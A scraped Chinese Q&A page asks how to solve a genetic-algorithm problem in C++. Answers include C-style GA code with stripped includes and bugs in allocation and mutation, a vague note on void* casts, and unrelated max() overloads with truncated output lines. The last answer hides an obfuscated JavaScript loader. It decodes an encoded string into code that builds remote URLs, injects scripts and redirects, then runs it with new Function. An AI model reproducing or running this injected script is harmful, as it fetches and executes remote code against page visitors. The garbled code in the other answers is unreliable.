请教一道遗传算法的题(要用C++编程解题)

2025-03-03 09:43:40
推荐回答(4个)
回答1:

很简单,例如用基因算法。首先在x1,x2的定义域内随机生成一些解,然后用crossover & mutation,代进你第一个 cost function继续优化就可以了。给你个类似的代码,自己把定义域,costfunction改掉就可以了。对了,这个程序还得检测下得出来的结果是否依然在定义域内,当时忘记弄了

#include
#include
#include

#include
#include
#include

#define MUT_RATE .01
#define MUT_UPER 10
#define MUT_LOWR -10
#define POP_SIZE 100 /* MUST BE EVEN */
#define MAX_ITER 10000
#define SOL_SIZE 30
#define SOL_UPER 500
#define SOL_LOWR -500

/*#define _DEBUG_ 1*/

/*****************************************************************************/

typedef double solution;

/*****************************************************************************/

#if (POP_SIZE % 2) != 0
#error "POP_SIZE must be even!"
#endif

#if (POP_SIZE * MAX_ITER) > 100000000
#warning "Lots of processing!"
#endif

/*****************************************************************************/

void init_population(solution **population, double *sol_fitness);

solution* crossover(solution *A, solution *B);

void mutation(solution *C);

double fitness(solution *s);

void sort_solutions(solution **population, double *sol_fitness);

void perform_step(solution **population, double *sol_fitness);

void debug(char *format, ...);

extern void* xmalloc(size_t size);

/*****************************************************************************/

int
main(int argc, char *argv){

solution **population;
double sol_fitness[POP_SIZE],
best_fit;
int cycle,
best_sol,
i;

setbuf(stderr, NULL);

/* Initialize the random seed */
srand(time(NULL));

debug("srand\n");

/* xmallocate */

population = xmalloc(sizeof(double)*POP_SIZE);
for(i = 0; i < POP_SIZE; i++){
population[i] = xmalloc(sizeof(double)*SOL_SIZE);
}

debug("xmalloc pop\n");

/* Initialize the population */
init_population(population, sol_fitness);
cycle = 0;

debug("init pop\n");

/* Perform a maximum of MAX_ITER iterations */
while(cycle++ < MAX_ITER){
perform_step(population, sol_fitness);
}

debug("perform step\n");

/* Find the best solution */

best_sol = 0;
for(i = 0; i < POP_SIZE; i++){
if(sol_fitness[best_sol] >= sol_fitness[i]){
best_sol = i;
}
}

printf("best solution is: %d\nScore: %f\n", best_sol, sol_fitness[best_sol]);
for(i = 0; i < SOL_SIZE; i++){
printf("%f%s", population[best_sol][i], (i+1) == SOL_SIZE ? "" : ", ");
}
printf("\n\n");

}

/*****************************************************************************/

/* init the population to random values */

void
init_population(solution **population, double *sol_fitness){

int i, j;

for(i = 0; i < POP_SIZE; i++){
for(j = 0; j < SOL_SIZE; j++){
debug("%d, %d\n", i, j);
population[i][j] = (SOL_UPER-SOL_LOWR)*((float)rand()/(float)RAND_MAX)+SOL_LOWR;
}
sol_fitness[i] = fitness(population[i]);
}

}

/*****************************************************************************/

/* Perform a crossover */

solution*
crossover(solution *A, solution *B){

solution *C;
int i;

C = xmalloc(sizeof(solution)*SOL_SIZE);

for(i = 0; i < SOL_SIZE; i++){
C[i] = (i%2 == 0) ? A[i] : B[i];
}

return C;

}
/*****************************************************************************/

/* perform a mutation */

void
mutation(solution *C){

int i;

for(i = 0; i < SOL_SIZE; i++){
if(((float)rand()/(float)RAND_MAX) < MUT_RATE){
C[i] += (MUT_UPER-MUT_LOWR)*(float)rand()/(float)RAND_MAX - MUT_LOWR;
}
}

}

/*****************************************************************************/

/* determine the fitness of a solution */

double
fitness(solution *s){

int i;
double fit;

fit = 0.0;

for(i = 0; i < 30; i++){
fit -= s[i]*sin(sqrt(abs(s[i])));
}

return fit;

}

/*****************************************************************************/

void
sort_solutions(solution **population, double *sol_fitness){

int i,j;
double backup_sol_fitness;
solution *backup_sol;

for(i = 0; i < POP_SIZE; i++){
for(j = 1; j < POP_SIZE; j++){
if(sol_fitness[i] > sol_fitness[j]){
backup_sol_fitness = sol_fitness[i];
backup_sol = population[i];
population[i] = population[j];
sol_fitness[i] = sol_fitness[j];
population[j] = backup_sol;
sol_fitness[j] = backup_sol_fitness;
}
}
}

}

/*****************************************************************************/

/* perform a single step */

void
perform_step(solution **population, double *sol_fitness){

int i;
solution *child1,
*child2;

/* We choose (µ,L), because it is good for multimodal landscapes,
* I assume that the function defined is very multimodal
*/

sort_solutions(population, sol_fitness);

for(i = 0; i < POP_SIZE; i += 2){
debug("iter: %d\n", i);
child1 = crossover(population[i], population[i+1]);
child2 = crossover(population[i+1], population[i]);

debug("perform_step: crossover\n");

free(population[i]);
free(population[i+1]);
debug("perform_step: free'ing\n");
population[i] = child1;
population[i+1] = child2;
debug("perform_step: set children\n");
}

debug("perform_step: Crossovers done\n");

for(i = 0; i < POP_SIZE; i++){
mutation(population[i]);
debug("perform_step: Mutation\n");
sol_fitness[i] = fitness(population[i]);
}

}

/*****************************************************************************/

#ifdef _DEBUG_
void
debug(char *format, ...){

va_list args;

va_start(args, format);
vfprintf(stderr, format, args);
va_end(args);

}
#else
void debug(char *format, ...){}
#endif

/*****************************************************************************/

void*
xmalloc(size_t size){

void *mem;

if(!size){
debug("Can not allocate memory of this size: %d\n", size);
exit(1);
}

mem = NULL;
mem = malloc(size);

if(!mem){
debug("Unable to allocate memory\n");
exit(1);
}

return mem;

}

/*****************************************************************************/

这个是求最小值的,你只要把 costfunction设置成-f(x)就可以求最大值

回答2:

void 是空类型,你可以把函数参数或者返回值定义为void型,以此不需要输入参数或返回值;也可以定义void*类型的指针,来表示这个类型是不属于任何类型的,你可以用static_cast将它转变成原有的类型,通常在调用一些操作系统api时会用到。楼主出现的问题应该是类型转换的问题,C++是强类型的语言,必须类型匹配,或者实现了隐式的构造函数或赋值函数,void*是一个DWORD或LONG型的地址指针,而solution应该是楼主自定义的类型,可以尝试static_cast([你传入的指针,就是那个(void*)类型的]),试试看吧,也不知道对不对

回答3:

#include
using namespace std;

int max(int a, int b)
{
if(a>b)
return a;
else
return b;
}
int max(int a, int b, int c)
{
if(a>b&&a>c)
return a;
if(b>c)
return b;
else
return c;
}
double max(double a,double b)
{
if(a-b>0.00001)
return a;
else
return b;
}
double max(double a, double b, double c)
{
if(a-b>0.00001&&a-c>0.00001)
return a;
if(b-c>0.00001)
return b;
else
return c;
}
void main()
{
int a=2, b=5, c=6;
double a1=2.14,b1=3.14,c1=5.5;

cout< cout< cout< cout<}

回答4:

max=0

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();